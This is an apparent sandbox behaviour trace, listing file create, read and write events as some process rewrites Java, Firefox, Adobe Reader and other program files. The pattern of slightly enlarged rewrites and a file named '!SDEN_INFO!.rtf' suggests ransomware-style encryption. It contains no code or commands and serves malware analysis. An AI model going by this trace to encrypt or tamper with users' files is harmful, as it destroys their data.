File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\access-bridge-64.jar, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\access-bridge-64.jar, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\access-bridge-64.jar, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\access-bridge-64.jar, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\access-bridge-64.jar, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\sunmscapi.jar, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\sunmscapi.jar, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\sunmscapi.jar, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\sunmscapi.jar, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\fonts\LucidaSansDemiBold.ttf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\fonts\LucidaSansDemiBold.ttf, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\fonts\LucidaSansDemiBold.ttf, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\fonts\LucidaSansDemiBold.ttf, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\fonts\LucidaSansDemiBold.ttf, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\images\cursors\win32_LinkNoDrop32x32.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\images\cursors\win32_LinkNoDrop32x32.gif, size = 153, size_out = 153	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\images\cursors\win32_LinkNoDrop32x32.gif, size = 1569	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\jsse.jar, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\jsse.jar, size = 61440, size_out = 61440	1	Fn Data
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\jsse.jar, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\jsse.jar, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\jsse.jar, size = 61440	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\jsse.jar, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\plugin.jar, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\plugin.jar, size = 61440, size_out = 61440	1	Fn Data
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\plugin.jar, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\plugin.jar, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\plugin.jar, size = 61440	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\plugin.jar, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\security\javaws.policy, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\security\javaws.policy, size = 98, size_out = 98	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\security\javaws.policy, size = 1514	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\THIRDPARTYLICENSEREADME.txt, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\THIRDPARTYLICENSEREADME.txt, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\THIRDPARTYLICENSEREADME.txt, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\THIRDPARTYLICENSEREADME.txt, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\THIRDPARTYLICENSEREADME.txt, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files\Mozilla Firefox\browser\features\e10srollout@mozilla.org.xpi, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Mozilla Firefox\browser\features\e10srollout@mozilla.org.xpi, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\browser\features\e10srollout@mozilla.org.xpi, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\browser\features\e10srollout@mozilla.org.xpi, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files\Mozilla Firefox\crashreporter.ini, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Mozilla Firefox\crashreporter.ini, size = 4003, size_out = 4003	1	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\crashreporter.ini, size = 5419	1	Fn Data
File	Create	filename = C:\Program Files\Mozilla Firefox\maintenanceservice_installer.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Mozilla Firefox\maintenanceservice_installer.exe, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files\Mozilla Firefox\maintenanceservice_installer.exe, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\maintenanceservice_installer.exe, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\maintenanceservice_installer.exe, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files\Mozilla Firefox\softokn3.chk, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Mozilla Firefox\softokn3.chk, size = 899, size_out = 899	1	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\softokn3.chk, size = 2315	1	Fn Data
File	Create	filename = C:\Program Files\rempl\does.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
File	Get Info	filename = C:\Program Files\rempl\does.exe, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ca-ES-valencia\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ca-ES-valencia\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ca-ES-valencia\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ca-ES-valencia\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ca-ES-valencia\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-HK\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-HK\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-HK\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-HK\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-HK\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\es-CL\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\es-CL\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\es-CL\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\es-CL\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\es-CL\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\fr-CA\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\fr-CA\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\fr-CA\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\fr-CA\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\fr-CA\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\it-IT\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\it-IT\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\AcroForm\PMP\!SDEN_INFO!.rtf, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\AcroForm\PMP\!SDEN_INFO!.rtf, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\AcroForm\PMP\!SDEN_INFO!.rtf, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\nl-BE\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\nl-BE\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\nl-BE\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\nl-BE\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\nl-BE\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\Lock-Confirmation-page-350.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\Lock-Confirmation-page-350.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\Lock-Confirmation-page-350.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\Lock-Confirmation-page-350.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\sk-SK\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\sk-SK\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\sk-SK\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\sk-SK\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\sk-SK\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\zh-TW\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\zh-TW\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\zh-TW\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\zh-TW\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\zh-TW\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\Logs\UniversalNotificationPlatform.020.etl, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\Logs\UniversalNotificationPlatform.020.etl, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\Logs\UniversalNotificationPlatform.020.etl, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\Logs\UniversalNotificationPlatform.020.etl, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\Logs\UniversalNotificationPlatform.020.etl, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\Windows Mail\wabmig.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
File	Get Info	filename = C:\Program Files\Windows Mail\wabmig.exe, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\AppCenter_R.aapp, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\AppCenter_R.aapp, size = 294, size_out = 294	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\AppCenter_R.aapp, size = 1710	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Edit_R_RHP.aapp, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Edit_R_RHP.aapp, size = 401, size_out = 401	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Edit_R_RHP.aapp, size = 1817	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Redact_R_RHP.aapp, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Redact_R_RHP.aapp, size = 403, size_out = 403	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Redact_R_RHP.aapp, size = 1819	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe, size = 61440, size_out = 61440	2	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe, size = 8192, size_out = 8192	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe, size = 9608	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe, size = 61440	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe, size = 8192	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\cryptocme.sig, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\cryptocme.sig, size = 2932, size_out = 2932	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\cryptocme.sig, size = 4348	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\AcroForm\PMP\DataMatrix.pmp, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\AcroForm\PMP\DataMatrix.pmp, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\AcroForm\PMP\DataMatrix.pmp, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\AcroForm\PMP\DataMatrix.pmp, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\AcroForm\PMP\DataMatrix.pmp, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\IA32.api, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\IA32.api, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\IA32.api, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\IA32.api, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\IA32.api, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\PPKLite.api, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\PPKLite.api, size = 61440, size_out = 61440	2	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\PPKLite.api, size = 8192, size_out = 8192	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\PPKLite.api, size = 9608	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\PPKLite.api, size = 61440	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\PPKLite.api, size = 8192	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\2d.x3d, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\2d.x3d, size = 61440, size_out = 61440	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\2d.x3d, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\2d.x3d, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\2d.x3d, size = 61440	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\2d.x3d, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\add_reviewer.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\add_reviewer.gif, size = 1338, size_out = 1338	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\add_reviewer.gif, size = 2754	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\forms_received.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\forms_received.gif, size = 615, size_out = 615	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\forms_received.gif, size = 2031	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\reviews_super.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\reviews_super.gif, size = 814, size_out = 814	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\reviews_super.gif, size = 2230	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\submission_history.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\submission_history.gif, size = 906, size_out = 906	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\submission_history.gif, size = 2322	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\UIThemes\LightTheme.acrotheme, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\UIThemes\LightTheme.acrotheme, size = 6920, size_out = 6920	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\UIThemes\LightTheme.acrotheme, size = 8336	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\css\main-high-contrast.css, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\css\main-high-contrast.css, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\css\main-high-contrast.css, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\css\main-high-contrast.css, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\css\main-high-contrast.css, size = 32768	1	Fn Data
